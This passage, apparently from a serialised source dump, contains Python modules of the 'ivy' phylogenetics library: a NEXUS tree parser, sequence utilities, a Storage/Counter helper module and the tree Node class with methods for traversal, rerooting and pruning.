%s\" % len(ttable))\n        else:\n            match = tree.parseString(s)\n            yield Newick(match, ttable)\n\ndef iter_trees(infile):\n    import pyparsing\n    pyparsing.ParserElement.enablePackrat()\n    from pyparsing import (\n        Word, Literal, QuotedString, CaselessKeyword, CharsNotIn,\n        OneOrMore, Group, Optional, Suppress, Regex, Dict, ZeroOrMore,\n        alphanums, nums)\n    comment = Optional(Suppress(\"[&\") + Regex(r'[^]]+') + Suppress(\"]\"))\n    name = Word(alphanums+\"_.\") | QuotedString(\"'\")\n    newick = Regex(r'[^;]+;')\n    tree = (CaselessKeyword(\"tree\").suppress() +\n            Optional(\"*\").suppress() +\n            name.setResultsName(\"tree_name\") +\n            comment.setResultsName(\"tree_comment\") +\n            Suppress(\"=\") +\n            comment.setResultsName(\"root_comment\") +\n            newick.setResultsName(\"newick\"))\n\n    def not_begin(s):\n        # print('not_begin', s)\n        return s.strip().lower() != \"begin trees;\"\n    def not_end(s):\n        # print('not_end', s)\n        return s.strip().lower() not in (\"end;\", \"endblock;\")\n    def parse_ttable(f):\n        ttable = {}\n        # com = Suppress('[') + ZeroOrMore(CharsNotIn(']')) + Suppress(']')\n        com = Suppress('[' + ZeroOrMore(CharsNotIn(']') + ']'))\n        while True:\n            s = next(f).strip()\n            if not s:\n                continue\n            s = com.transformString(s).strip()\n            if s.lower() == \";\":\n                break\n            b = False\n            if s[-1] in \",;\":\n                if s[-1] == ';':\n                    b = True\n                s = s[:-1]\n            # print(s)\n            k, v = s.split()\n            ttable[k] = v\n            if b:\n                break\n        return ttable\n\n    # read lines between \"begin trees;\" and \"end;\"\n    f = itertools.takewhile(not_end, itertools.dropwhile(not_begin, infile))\n    s = next(f).strip().lower()\n    if s != \"begin trees;\":\n        print(\"Expecting 'begin trees;', got %s\" % s, file=sys.stderr)\n        raise StopIteration\n    ttable = {}\n    while True:\n        try:\n            s = next(f).strip()\n        except StopIteration:\n            break\n        if not s:\n            continue\n        if s.lower() == \"translate\":\n            ttable = parse_ttable(f)\n            # print \"ttable: %s\" % len(ttable)\n        elif s.split()[0].lower()=='tree':\n            match = tree.parseString(s)\n            yield Newick(match, ttable)\n", "ivy/sequtil.py": "try:\n    from itertools import izip, imap\nexcept ImportError:\n    izip = zip\n    imap = map\nimport numpy\n\ndef finditer(seq, substr, start=0):\n    \"\"\"\n    Find substrings within a sequence\n\n    Args:\n        seq (str): A sequence.\n        substr (str): A subsequence to search for\n        start (int): Starting index. Defaults to 0\n    Yields:\n        int: Starting indicies of where the substr was found in seq\n    \"\"\"\n    N = len(substr)\n    i = seq.find(substr, start)\n    while i >= 0:\n        yield i\n        i = seq.find(substr, i+N)\n\ndef gapidx(seq, gapchar='-'):\n    \"\"\"\n    For a sequence with gaps, calculate site positions without gaps\n\n    Args:\n        seq (list): Each element of the list is one character in a sequence.\n        gapchar (str): The character gaps are coded as. Defaults to '-'\n    Returns:\n        array: An array where the first element corresponds to range(number of\n        characters that are not gaps) and the second element is the indicies\n        of all characters that are not gaps.\n    \"\"\"\n    a = numpy.array(seq)\n    idx = numpy.arange(len(a))\n    nongap = idx[a != gapchar]\n    return numpy.array((numpy.arange(len(nongap)), nongap))\n\ndef find_stop_codons(seq, pos=0):\n    \"\"\"\n    Find stop codons within sequence (in reading frame)\n\n    Args:\n        seq (str): A sequence\n        pos (int): Starting position. Defaults to 0.\n    Yields:\n        tuple: The index where the stop codon starts\n        and which stop codon was found.\n    \"\"\"\n    s = seq[pos:]\n    it = iter(s)\n    g = imap(lambda x:\"\".join(x), izip(it, it, it))\n    for i, x in enumerate(g):\n        if x in (\"TAG\", \"TAA\", \"TGA\"):\n            yield pos+(i*3), x\n", "ivy/storage.py": "from __future__ import print_function\nfrom operator import itemgetter\nfrom heapq import nlargest\nfrom itertools import repeat\ntry:\n    from itertools import ifilter\nexcept:\n    ifilter = filter\n\nclass Storage(dict):\n    \"\"\"\n    A Storage object is like a dictionary except `obj.foo` can be used\n    in addition to `obj['foo']`.\n\n    From web2py/gluon/storage.py by Massimo Di Pierro (www.web2py.com)\n    \"\"\"\n    def __getattr__(self, key):\n        try:\n            return self[key]\n        except KeyError:\n            return None\n\n    def __setattr__(self, key, value):\n        self[key] = value\n\n    def __delattr__(self, key):\n        del self[key]\n\n    def __repr__(self):\n        return '<Storage ' + dict.__repr__(self) + '>'\n\n    def __getstate__(self):\n        return dict(self)\n\n    def __setstate__(self, value):\n        for (k, v) in value.items():\n            self[k] = v\n\nclass MaxDict(dict):\n    def __setitem__(self, key, value):\n        v = self.get(key)\n        if value > v:\n            dict.__setitem__(self, key, value)\n            \n#from http://code.activestate.com/recipes/576611/\nclass Counter(dict):\n    \"\"\"Dict subclass for counting hashable objects.  Sometimes called a bag\n    or multiset.  Elements are stored as dictionary keys and their counts\n    are stored as dictionary values.\n\n    >>> Counter('zyzygy')\n    Counter({'y': 3, 'z': 2, 'g': 1})\n\n    \"\"\"\n\n    def __init__(self, iterable=None, **kwds):\n        \"\"\"Create a new, empty Counter object.  And if given, count elements\n        from an input iterable.  Or, initialize the count from another mapping\n        of elements to their counts.\n\n        >>> c = Counter()                           # a new, empty counter\n        >>> c = Counter('gallahad')                 # a new counter from an iterable\n        >>> c = Counter({'a': 4, 'b': 2})           # a new counter from a mapping\n        >>> c = Counter(a=4, b=2)                   # a new counter from keyword args\n\n        \"\"\"        \n        self.update(iterable, **kwds)\n\n    def __missing__(self, key):\n        return 0\n\n    def most_common(self, n=None):\n        \"\"\"List the n most common elements and their counts from the most\n        common to the least.  If n is None, then list all element counts.\n\n        >>> Counter('abracadabra').most_common(3)\n        [('a', 5), ('r', 2), ('b', 2)]\n\n        \"\"\"        \n        if n is None:\n            return sorted(self.iteritems(), key=itemgetter(1), reverse=True)\n        return nlargest(n, self.iteritems(), key=itemgetter(1))\n\n    def elements(self):\n        \"\"\"Iterator over elements repeating each as many times as its count.\n\n        >>> c = Counter('ABCABC')\n        >>> sorted(c.elements())\n        ['A', 'A', 'B', 'B', 'C', 'C']\n\n        If an element's count has been set to zero or is a negative number,\n        elements() will ignore it.\n\n        \"\"\"\n        for elem, count in self.iteritems():\n            for _ in repeat(None, count):\n                yield elem\n\n    # Override dict methods where the meaning changes for Counter objects.\n\n    @classmethod\n    def fromkeys(cls, iterable, v=None):\n        raise NotImplementedError(\n            'Counter.fromkeys() is undefined.  Use Counter(iterable) instead.')\n\n    def update(self, iterable=None, **kwds):\n        \"\"\"Like dict.update() but add counts instead of replacing them.\n\n        Source can be an iterable, a dictionary, or another Counter instance.\n\n        >>> c = Counter('which')\n        >>> c.update('witch')           # add elements from another iterable\n        >>> d = Counter('watch')\n        >>> c.update(d)                 # add elements from another counter\n        >>> c['h']                      # four 'h' in which, witch, and watch\n        4\n\n        \"\"\"        \n        if iterable is not None:\n            if hasattr(iterable, 'iteritems'):\n                if self:\n                    self_get = self.get\n                    for elem, count in iterable.iteritems():\n                        self[elem] = self_get(elem, 0) + count\n                else:\n                    dict.update(self, iterable) # fast path when counter is empty\n            else:\n                self_get = self.get\n                for elem in iterable:\n                    self[elem] = self_get(elem, 0) + 1\n        if kwds:\n            self.update(kwds)\n\n    def copy(self):\n        'Like dict.copy() but returns a Counter instance instead of a dict.'\n        return Counter(self)\n\n    def __delitem__(self, elem):\n        'Like dict.__delitem__() but does not raise KeyError for missing values.'\n        if elem in self:\n            dict.__delitem__(self, elem)\n\n    def __repr__(self):\n        if not self:\n            return '%s()' % self.__class__.__name__\n        items = ', '.join(map('%r: %r'.__mod__, self.most_common()))\n        return '%s({%s})' % (self.__class__.__name__, items)\n\n    # Multiset-style mathematical operations discussed in:\n    #       Knuth TAOCP Volume II section 4.6.3 exercise 19\n    #       and at http://en.wikipedia.org/wiki/Multiset\n    #\n    # Outputs guaranteed to only include positive counts.\n    #\n    # To strip negative and zero counts, add-in an empty counter:\n    #       c += Counter()\n\n    def __add__(self, other):\n        \"\"\"Add counts from two counters.\n\n        >>> Counter('abbb') + Counter('bcc')\n        Counter({'b': 4, 'c': 2, 'a': 1})\n\n\n        \"\"\"\n        if not isinstance(other, Counter):\n            return NotImplemented\n        result = Counter()\n        for elem in set(self) | set(other):\n            newcount = self[elem] + other[elem]\n            if newcount > 0:\n                result[elem] = newcount\n        return result\n\n    def __sub__(self, other):\n        \"\"\" Subtract count, but keep only results with positive counts.\n\n        >>> Counter('abbbc') - Counter('bccd')\n        Counter({'b': 2, 'a': 1})\n\n        \"\"\"\n        if not isinstance(other, Counter):\n            return NotImplemented\n        result = Counter()\n        for elem in set(self) | set(other):\n            newcount = self[elem] - other[elem]\n            if newcount > 0:\n                result[elem] = newcount\n        return result\n\n    def __or__(self, other):\n        \"\"\"Union is the maximum of value in either of the input counters.\n\n        >>> Counter('abbb') | Counter('bcc')\n        Counter({'b': 3, 'c': 2, 'a': 1})\n\n        \"\"\"\n        if not isinstance(other, Counter):\n            return NotImplemented\n        _max = max\n        result = Counter()\n        for elem in set(self) | set(other):\n            newcount = _max(self[elem], other[elem])\n            if newcount > 0:\n                result[elem] = newcount\n        return result\n\n    def __and__(self, other):\n        \"\"\" Intersection is the minimum of corresponding counts.\n\n        >>> Counter('abbb') & Counter('bcc')\n        Counter({'b': 1})\n\n        \"\"\"\n        if not isinstance(other, Counter):\n            return NotImplemented\n        _min = min\n        result = Counter()\n        if len(self) < len(other):\n            self, other = other, self\n        for elem in ifilter(self.__contains__, other):\n            newcount = _min(self[elem], other[elem])\n            if newcount > 0:\n                result[elem] = newcount\n        return result\n\ndef convert(d):\n    \"convert a (potentially nested) dict to Storage\"\n    from types import DictType\n    t = type(d)\n    if t == DictType:\n        for k,v in d.items():\n            d[k] = convert(v)\n        return Storage(d)\n    return d\n\nif __name__ == '__main__':\n    import doctest\n    print(doctest.testmod())\n", "ivy/tree.py": "\"\"\"\nThe Node class and functions for creating trees from Newick strings,\netc.\n\nivy does not have a Tree class per se, as most functions operate\ndirectly on Node objects.\n\"\"\"\nimport os\n# from storage import Storage\nfrom copy import copy as _copy\n# from matrix import vcv\nfrom . import newick, nexus\n# from itertools import izip_longest\n\n## class Tree(object):\n##     \"\"\"\n##     A simple Tree class.\n##     \"\"\"\n##     def __init__(self, data=None, format=\"newick\", name=None, ttable=None):\n##         self.root = None\n##         if data:\n##             self.root = read(data, format, name, ttable)\n##         self.name = name\n##         self.ttable = ttable\n\n##     def __getattribute__(self, a):\n##         r = object.__getattribute__(self, 'root')\n##         try:\n##             return object.__getattribute__(r, a)\n##         except AttributeError:\n##             return object.__getattribute__(self, a)\n\ndef traverse(node):\n    \"recursive preorder iterator based solely on .children attribute\"\n    yield node\n    for child in node.children:\n        for descendant in traverse(child):\n            yield descendant\n\nclass Node(object):\n    \"\"\"\n    A basic Node class with attributes and references to child nodes\n    ('children', a list) and 'parent'.\n\n    Keyword Args:\n        id: ID of the node. If not provided, is set using\n          builtin id function\n        ni (int): Node index.\n        li (int): Leaf index.\n        isroot (bool): Is the node a root.\n        isleaf (bool): Is the node a leaf.\n        label (str): Node label.\n        length (float): Branch length from node to parent\n        support: RR: Are these bootstrap support values? -CZ\n        age (float): Age of the node in time units.\n        parent (Node): Parent of the ndoe.\n        children (list): List of node objects. Children of node\n        nchildren (int): No. of children\n        left: RR: Unsure what left and right mean -CZ\n        treename: Name of tree\n        comment: Comments for tree\n\n    \"\"\"\n    def __init__(self, **kwargs):\n        self.id = None\n        self.ni = None  # node index\n        self.li = None  # leaf index\n        self.isroot = False\n        self.isleaf = False\n        self.label = None\n        self.length = None\n        self.support = None\n        self.age = None\n        self.parent = None\n        self.children = []\n        self.nchildren = 0\n        self.left = None\n        self.right = None\n        self.treename = \"\"\n        self.comment = \"\"\n        self.meta = {}\n        ## self.length_comment = \"\"\n        ## self.label_comment = \"\"\n        if kwargs:\n            for k, v in kwargs.items():\n                setattr(self, k, v)\n        if self.id is None:\n            self.id = id(self)\n\n    def __copy__(self):\n        return self.copy()\n\n    def __repr__(self):\n        v = []\n        if self.isroot:\n            v.append(\"root\")\n        elif self.isleaf:\n            v.append(\"leaf\")\n\n        if self.label:\n            v.append(\"'%s'\" % self.label)\n\n        s = \", \".join(v)\n\n        nid = self.ni if (self.ni is not None) else self.id\n\n        if s:\n            s = \"Node(%s, %s)\" % (nid, s)\n        else:\n            s = \"Node(%s)\" % nid\n        return s\n\n\n    def __contains__(self, other):\n        \"\"\"\n        For use with `in` keyword\n\n        Args:\n            other: Another node or node label.\n        Returns:\n            bool: Whether or not the other node is a descendant of self\n        \"\"\"\n        if other and isinstance(other, str):\n            for x in self:\n                if other == x.label:\n                    return True\n            return False\n        else:\n            assert isinstance(self, Node)\n            for x in self.iternodes():\n                if other == x:\n                    return True\n        return False\n\n    def __iter__(self):\n        for node in self.iternodes():\n            yield node\n\n    def __len__(self):\n        \"\"\"\n        Number of nodes descended from self\n\n        Returns:\n            int: Number of nodes descended from self (including self)\n        \"\"\"\n        i = 0\n        for n in self:\n            i += 1\n        return i\n\n    def __nonzero__(self):\n        return True\n\n    def __getitem__(self, x):\n        \"\"\"\n        Args:\n            x: A Node, Node.id (int) or a Node.label (string)\n\n        Returns:\n            Node: Found node(s)\n\n        \"\"\"\n        for n in self:\n            if n==x or n.id==x or n.ni == x or (n.label and n.label==x):\n                return n\n        raise IndexError(str(x))\n\n    def ascii(self, *args, **kwargs):\n        \"\"\"\n        Create ascii tree.\n\n        Keyword Args:\n            unitlen (float): How long each unit should be rendered as.\n              Defaults to 3.\n            minwidth (float): Minimum width of the plot. Defaults to 50\n            maxwidth (float): Maximum width of the plot. Defaults to None\n            scaled (bool): Whether or not the tree is scaled. Defaults to False\n            show_internal_labels (bool): Whether or not to show labels\n              on internal nodes. Defaults to True.\n        Returns:\n            str: Ascii tree to be shown with print().\n        \"\"\"\n        from . import ascii as _ascii\n        return _ascii.render(self, *args, **kwargs)\n\n    def collapse(self, add=False):\n        \"\"\"\n        Remove self and collapse children to polytomy\n\n        Args:\n            add (bool): Whether or not to add self's length to children's\n              length.\n\n        Returns:\n            Node: Parent of self\n\n        \"\"\"\n        assert self.parent\n        p = self.prune()\n        for c in self.children:\n            p.add_child(c)\n            if add and (c.length is not None):\n                c.length += self.length\n        self.children = []\n        return p\n\n    def copy(self, recurse=False):\n        \"\"\"\n        Return a copy of the node, but not copies of children, parent,\n        or any attribute that is a Node.\n\n        If `recurse` is True, recursively copy child nodes.\n\n        Args:\n            recurse (bool): Whether or not to copy children as well as self.\n\n        Returns:\n            Node: A copy of self.\n\n        TODO: test this function.\n\n        RR: This function runs rather slowly -CZ\n        \"\"\"\n        newnode = Node()\n        for attr, value in self.__dict__.items():\n            if (attr not in (\"children\", \"parent\") and\n                not isinstance(value, Node)):\n                setattr(newnode, attr, _copy(value))\n            if recurse:\n                newnode.children = [\n                    child.copy(True) for child in self.children\n                    ]\n        return newnode\n\n    def leafsets(self, d=None, labels=False):\n        \"\"\"return a mapping of nodes to leaf sets (nodes or labels)\"\"\"\n        d = d or {}\n        if not self.isleaf:\n            s = set()\n            for child in self.children:\n                if child.isleaf:\n                    if labels:\n                        s.add(child.label)\n                    else:\n                        s.add(child)\n                else:\n                    d = child.leafsets(d, labels)\n                    s = s | d[child]\n            d[self] = frozenset(s)\n        return d\n\n    def mrca(self, *nodes):\n        \"\"\"\n        Find most recent common ancestor of *nodes*\n\n        Args:\n            *nodes (Node): Node objects\n        Returns:\n            Node: The MRCA of *nodes*\n        \"\"\"\n        if len(nodes) == 1:\n            nodes = tuple(nodes[0])\n        if len(nodes) == 1:\n            return nodes[0]\n        nodes = set([ self[n] for n in nodes ])\n        anc = []\n        def f(n):\n            seen = set()\n            for c in n.children: seen.update(f(c))\n            if n in nodes: seen.add(n)\n            if seen == nodes and (not anc): anc.append(n)\n            return seen\n        f(self)\n        return anc[0]\n\n    ## def mrca(self, *nodes):\n    ##     \"\"\"\n    ##     Find most recent common ancestor of *nodes*\n    ##     \"\"\"\n    ##     if len(nodes) == 1:\n    ##         nodes = tuple(nodes[0])\n    ##     if len(nodes) == 1:\n    ##         return nodes[0]\n    ##     ## assert len(nodes) > 1, (\n    ##     ##     \"Need more than one node for mrca(), got %s\" % nodes\n    ##     ##     )\n    ##     def f(x):\n    ##         if isinstance(x, Node):\n    ##             return x\n    ##         elif type(x) in types.StringTypes:\n    ##             return self.find(x)\n    ##     nodes = map(f, nodes)\n    ##     assert all(filter(lambda x: isinstance(x, Node), nodes))\n\n    ##     #v = [ list(n.rootpath()) for n in nodes if n in self ]\n    ##     v = [ list(x) for x in izip_longest(*[ reversed(list(n.rootpath()))\n    ##                                            for n in nodes if n in self ]) ]\n    ##     if len(v) == 1:\n    ##         return v[0][0]\n    ##     anc = None\n    ##     for x in v:\n    ##         s = set(x)\n    ##         if len(s) == 1: anc = list(s)[0]\n    ##         else: break\n    ##     return anc\n\n    def ismono(self, *leaves):\n        \"\"\"\n        Test if leaf descendants are monophyletic\n\n        Args:\n            *leaves (Node): At least two leaf Node objects\n\n        Returns:\n            bool: Are the leaf descendants monophyletic?\n\n        RR: Should this function have a check to make sure the input nodes are\n        leaves? There is some strange behavior if you input internal nodes -CZ\n        \"\"\"\n        if len(leaves) == 1:\n            leaves = list(leaves)[0]\n        assert len(leaves) > 1, (\n            \"Need more than one leaf for ismono(), got %s\" % leaves\n            )\n        anc = self.mrca(leaves)\n        if anc:\n            return bool(len(anc.leaves())==len(leaves))\n\n    def order_subtrees_by_size(self, n2s=None, recurse=False, reverse=False):\n        \"\"\"\n        Order interal clades by size\n\n        \"\"\"\n        if n2s is None:\n            n2s = clade_sizes(self)\n        if not self.isleaf:\n            v = [ (n2s[c], c.label or '', c.id, c) for c in self.children ]\n            v.sort()\n            if reverse:\n                v.reverse()\n            self.children = [ x[-1] for x in v ]\n            if recurse:\n                for c in self.children:\n                    c.order_subtrees_by_size(n2s, recurse=True, reverse=reverse)\n\n    def ladderize(self, reverse=False):\n        self.order_subtrees_by_size(recurse=True, reverse=reverse)\n        return self\n\n    def add_child(self, child):\n        \"\"\"\n        Add child as child of self\n\n        Args:\n            child (Node): A node object\n\n        \"\"\"\n        assert child not in self.children\n        self.children.append(child)\n        child.parent = self\n        child.isroot = False\n        self.nchildren += 1\n\n    def bisect_branch(self):\n        \"\"\"\n        Add new node as parent to self in the middle of branch to parent.\n\n        Returns:\n            Node: A new node.\n\n        \"\"\"\n        assert self.parent\n        parent = self.prune()\n        n = Node()\n        if self.length:\n            n.length = self.length/2.0\n            self.length /= 2.0\n        parent.add_child(n)\n        n.add_child(self)\n        return n\n\n    def remove_child(self, child):\n        \"\"\"\n        Remove child.\n\n        Args:\n            child (Node): A node object that is a child of self\n\n        \"\"\"\n        assert child in self.children\n        self.children.remove(child)\n        child.parent = None\n        self.nchildren -= 1\n        if not self.children:\n            self.isleaf = True\n\n    def labeled(self):\n        \"\"\"\n        Return a list of all descendant nodes that are labeled\n\n        Returns:\n            list: All descendants of self that are labeled (including self)\n        \"\"\"\n        return [ n for n in self if n.label ]\n\n    def leaves(self, f=None):\n        \"\"\"\n        Return a list of leaves. Can be filtered with f.\n\n        Args:\n            f (function): A function that evaluates to True if called with desired\n              node as the first input\n\n        Returns:\n            list: A list of leaves that are true for f (if f is given)\n\n        \"\"\"\n        if f: return [ n for n in self if (n.isleaf and f(n)) ]\n        return [ n for n in self if n.isleaf ]\n\n    def internals(self, f=None):\n        \"\"\"\n        Return a list nodes that have children (internal nodes)\n\n        Args:\n            f (function): A function that evaluates to true if called with desired\n              node as the first input\n\n        Returns:\n            list: A list of internal nodes that are true for f (if f is given)\n\n        \"\"\"\n        if f: return [ n for n in self if (n.children and f(n)) ]\n        return [ n for n in self if n.children ]\n\n    def clades(self):\n        \"\"\"\n        Get internal nodes descended from self\n\n        Returns:\n            list: A list of internal nodes descended from (and not including) self.\n\n        \"\"\"\n        return [ n for n in self if (n is not self) and not n.isleaf ]\n\n    def iternodes(self, f=None):\n        \"\"\"\n        Return a generator of nodes descendant from self - including self\n\n        Args:\n            f (function): A function that evaluates to true if called with\n            desired node as the first input\n\n        Yields:\n            Node: Nodes descended from self (including self) in\n              preorder sequence\n\n        \"\"\"\n        if (f and f(self)) or (not f):\n            yield self\n        for child in self.children:\n            for n in child.iternodes(f):\n                yield n\n\n    def iterleaves(self):\n        \"\"\"\n        Yield leaves descendant from self\n        \"\"\"\n        return self.iternodes(lambda x:x.isleaf)\n\n    def preiter(self, f=None):\n        \"\"\"\n        Yield nodes in preorder sequence\n        \"\"\"\n        for n in self.iternodes(f=f):\n            yield n\n\n    def postiter(self, f=None):\n        \"\"\"\n        Yield nodes in postorder sequence\n        \"\"\"\n        if not self.isleaf:\n            for child in self.children:\n                for n in child.postiter():\n                    if (f and f(n)) or (not f):\n                        yield n\n        if (f and f(self)) or (not f):\n            yield self\n\n    def descendants(self, order=\"pre\", v=None, f=None):\n        \"\"\"\n        Return a list of nodes descendant from self - but _not_\n        including self!\n\n        Args:\n            order (str): Indicates wether to return nodes in preorder or\n              postorder sequence. Optional, defaults to \"pre\"\n            f (function): filtering function that evaluates to True if desired\n              node is called as the first parameter.\n\n        Returns:\n            list: A list of nodes descended from self not including self.\n\n        \"\"\"\n        v = v or []\n        for child in self.children:\n            if (f and f(child)) or (not f):\n                if order == \"pre\":\n                    v.append(child)\n                else:\n                    v.insert(0, child)\n            if child.children:\n                child.descendants(order, v, f)\n        return v\n\n    def get(self, f, *args, **kwargs):\n        \"\"\"\n        Return the first node found by node.find()\n\n        Args:\n            f (function): A function that evaluates to True if desired\n              node is called as the first parameter.\n        Returns:\n            Node: The first node found by node.find()\n\n        \"\"\"\n        v = self.find(f, *args, **kwargs)\n        try:\n            return v.next()\n        except StopIteration:\n            return None\n\n    def grep(self, s, ignorecase=True):\n        \"\"\"\n        Find nodes by regular-expression search of labels\n\n        Args:\n            s (str): String to search.\n            ignorecase (bool): Indicates to ignore case. Defaults to true.\n\n        Returns:\n            lsit: A list of node objects whose labels were matched by s.\n\n        \"\"\"\n        import re\n        if ignorecase:\n            pattern = re.compile(s, re.IGNORECASE)\n        else:\n            pattern = re.compile(s)\n\n        search = pattern.search\n        return [ x for x in self if x.label and search(x.label) ]\n\n    def lgrep(self, s, ignorecase=True):\n        \"\"\"\n        Find leaves by regular-expression search of labels\n\n        Args:\n            s (str): String to search.\n            ignorecase (bool): Indicates to ignore case. Defaults to true.\n\n        Returns:\n            lsit: A list of node objects whose labels were matched by s.\n\n        \"\"\"\n        return [ x for x in self.grep(s, ignorecase=ignorecase) if x.isleaf ]\n\n    def bgrep(self, s, ignorecase=True):\n        \"\"\"\n        Find branches (internal nodes) by regular-expression search of\n        labels\n\n        Args:\n            s (str): String to search.\n            ignorecase (bool): Indicates to ignore case. Defaults to true.\n\n        Returns:\n            lsit: A list of node objects whose labels were matched by s.\n\n        \"\"\"\n        return [ x for x in self.grep(s, ignorecase=ignorecase) if\n               (not x.isleaf) ]\n\n    def find(self, f, *args, **kwargs):\n        \"\"\"\n        Find descendant nodes.\n\n        Args:\n            f: Function or a string.  If a string, it is converted to a\n              function for finding *f* as a substring in node labels.\n              Otherwise, *f* should evaluate to True if called with a desired\n              node as the first parameter.\n\n        Yields:\n            Node: Found nodes in preorder sequence.\n\n        \"\"\"\n        if not f:\n            return\n        if isinstance(f, str):\n            func = lambda x: (f or None) in (x.label or \"\")\n        else:\n            func = f\n        for n in self.iternodes():\n            if func(n, *args, **kwargs):\n                yield n\n\n    def findall(self, f, *args, **kwargs):\n        \"\"\"Return a list of found nodes.\"\"\"\n        return list(self.find(f, *args, **kwargs))\n\n    def prune(self):\n        \"\"\"\n        Remove self if self is not root.\n\n        Returns:\n            Node: Parent of self. If parent had only two children,\n              parent is now a 'knee' and can be removed with excise.\n\n        \"\"\"\n        p = self.parent\n        if p:\n            p.remove_child(self)\n        return p\n\n    def excise(self):\n        \"\"\"\n        For 'knees': remove self from between parent and single child\n        \"\"\"\n        assert self.parent\n        assert len(self.children)==1\n        p = self.parent\n        c = self.children[0]\n        if c.length is not None and self.length is not None:\n            c.length += self.length\n        c.prune()\n        self.prune()\n        p.add_child(c)\n        return p\n\n    def graft(self, node):\n        \"\"\"\n        Add node as sister to self.\n        \"\"\"\n        parent = self.parent\n        parent.remove_child(self)\n        n = Node()\n        n.add_child(self)\n        n.add_child(node)\n        parent.add_child(n)\n\n    ## def leaf_distances(self, store=None, measure=\"length\"):\n    ##     \"\"\"\n    ##     for each internal node, calculate the distance to each leaf,\n    ##     measured in branch length or internodes\n    ##     \"\"\"\n    ##     if store is None:\n    ##         store = {}\n    ##     leaf2len = {}\n    ##     if self.children:\n    ##         for child in self.children:\n    ##             if measure == \"length\":\n    ##                 dist = child.length\n    ##             elif measure == \"nodes\":\n    ##                 dist = 1\n    ##             child.leaf_distances(store, measure)\n    ##             if child.isleaf:\n    ##                 leaf2len[child] = dist\n    ##             else:\n    ##                 for k, v in store[child].items():\n    ##                     leaf2len[k] = v + dist\n    ##     else:\n    ##         leaf2len[self] = {self: 0}\n    ##     store[self] = leaf2len\n    ##     return store\n\n    def leaf_distances(self, measure=\"length\"):\n        \"\"\"\n        RR: I don't quite understand the structure of the output. Also,\n            I can't figure out what \"measure\" does.-CZ\n        \"\"\"\n        from collections import defaultdict\n        store = defaultdict(lambda:defaultdict(lambda:0))\n        nodes = [ x for x in self if x.children ]\n        for lf in self.leaves():\n            x = lf.length\n            for n in lf.rootpath(self):\n                store[n][lf] = x\n                x += (n.length or 0)\n        return store\n\n    def rootpath(self, end=None, stop=None):\n        \"\"\"\n        Iterate over parent nodes toward the root, or node *end* if\n        encountered.\n\n        Args:\n            end (Node): A Node object to iterate to (instead of iterating\n              towards root). Optional, defaults to None\n            stop (function): A function that returns True if desired node is called\n              as the first parameter. Optional, defaults to None\n\n        Yields:\n            Node: Nodes in path to root (or end).\n\n        \"\"\"\n        n = self.parent\n        while 1:\n            if n is None: raise StopIteration\n            yield n\n            if n.isroot or (end and n == end) or (stop and stop(n)):\n                raise StopIteration\n            n = n.parent\n\n    def rootpath_length(self, end=None):\n        \"\"\"\n        Get length from self to root(if end is None) or length\n        from self to an ancestor node (if end is an ancestor to self)\n\n        Args:\n            end (Node): A node object\n\n        Returns:\n            float: The length from self to root/end\n\n        \"\"\"\n        n = self\n        x = 0.0\n        while n.parent:\n            x += n.length\n            if n.parent == end:\n                break\n            n = n.parent\n        return x\n        ## f = lambda x:x.parent==end\n        ## v = [self.length]+[ x.length for x in self.rootpath(stop=f)\n        ##                     if x.parent ]\n        ## assert None not in v\n        ## return sum(v)\n\n    def max_tippath(self, first=True):\n        \"\"\"\n        Get the maximum length from self to a leaf node\n        \"\"\"\n        v = 0\n        if self.children:\n            v = max([ c.max_tippath(False) for c in self.children ])\n        if not first:\n            if self.length is None: v += 1\n            else: v += self.length\n        return v\n\n    def subtree_mapping(self, labels, clean=False):\n        \"\"\"\n        Find the set of nodes in 'labels', and create a new tree\n        representing the subtree connecting them.  Nodes are assumed\n        to be non-nested.\n\n        Returns:\n            dict: a mapping of old nodes to new nodes and vice versa.\n\n        TODO: test this, high bug probability\n        \"\"\"\n        d = {}\n        oldtips = [ x for x in self.leaves() if x.label in labels ]\n        for tip in oldtips:\n            path = list(tip.rootpath())\n            for node in path:\n                if node not in d:\n                    newnode = Node()\n                    newnode.isleaf = node.isleaf\n                    newnode.length = node.length\n                    newnode.label = node.label\n                    d[node] = newnode\n                    d[newnode] = node\n                else:\n                    newnode = d[node]\n\n                for child in node.children:\n                    if child in d:\n                        newchild = d[child]\n                        if newchild not in newnode.children:\n                            newnode.add_child(newchild)\n        d[\"oldroot\"] = self\n        d[\"newroot\"] = d[self]\n        if clean:\n            n = d[\"newroot\"]\n            while 1:\n                if n.nchildren == 1:\n                    oldnode = d[n]\n                    del d[oldnode]; del d[n]\n                    child = n.children[0]\n                    child.parent = None\n                    child.isroot = True\n                    d[\"newroot\"] = child\n                    d[\"oldroot\"] = d[child]\n                    n = child\n                else:\n                    break\n\n            for tip in oldtips:\n                newnode = d[tip]\n                while 1:\n                    newnode = newnode.parent\n                    oldnode = d[newnode]\n                    if newnode.nchildren == 1:\n                        child = newnode.children[0]\n                        if newnode.length:\n                            child.length += newnode.length\n                        newnode.remove_child(child)\n                        if newnode.parent:\n                            parent = newnode.parent\n                            parent.remove_child(newnode)\n                            parent.add_child(child)\n                        del d[oldnode]; del d[newnode]\n                    if not newnode.parent:\n                        break\n\n        return d\n\n    def reroot_orig(self, newroot):\n        assert newroot in self\n        self.isroot = False\n        newroot.isroot = True\n        v = []\n        n = newroot\n        while 1:\n            v.append(n)\n            if not n.parent: break\n            n = n.parent\n        v.reverse()\n        for i, cp in enumerate(v[:-1]):\n            node = v[i+1]\n            # node is current node; cp is current parent\n            cp.remove_child(node)\n            node.add_child(cp)\n            cp.length = node.length\n        return newroot\n\n    def reroot(self, newroot):\n        \"\"\"\n        RR: I can't get this to work properly -CZ\n        \"\"\"\n        newroot = self[newroot]\n        assert newroot in self\n        self.isroot = False\n        n = newroot\n        v = list(n.rootpath())\n        v.reverse()\n        for node in (v+[n])[1:]:\n            # node is current node; cp is current parent\n            cp = node.parent\n            cp.remove_child(node)\n            node.add_child(cp)\n            cp.length = node.length\n            cp.label = node.label\n        newroot.isroot = True\n        return newroot\n\n    def makeroot(self, shift_labels=False):\n        \"\"\"\n        shift_labels: flag to shift internal parent-child node labels\n        when internode polarity changes; suitable e.g. if internal node\n        labels indicate unrooted bipartition support\n        \"\"\"\n        v = list(self.rootpath())\n        v[-1].isroot = False\n        v.reverse()\n        for node in v[1:] + [self]:\n            # node is current node; cp is current parent\n            cp = node.parent\n            cp.remove_child(node)\n            node.add_child(cp)\n            cp.length = node.length\n            if shift_labels:\n                cp.label = node.label\n        self.isroot = True\n        return self\n\n    def write(self, 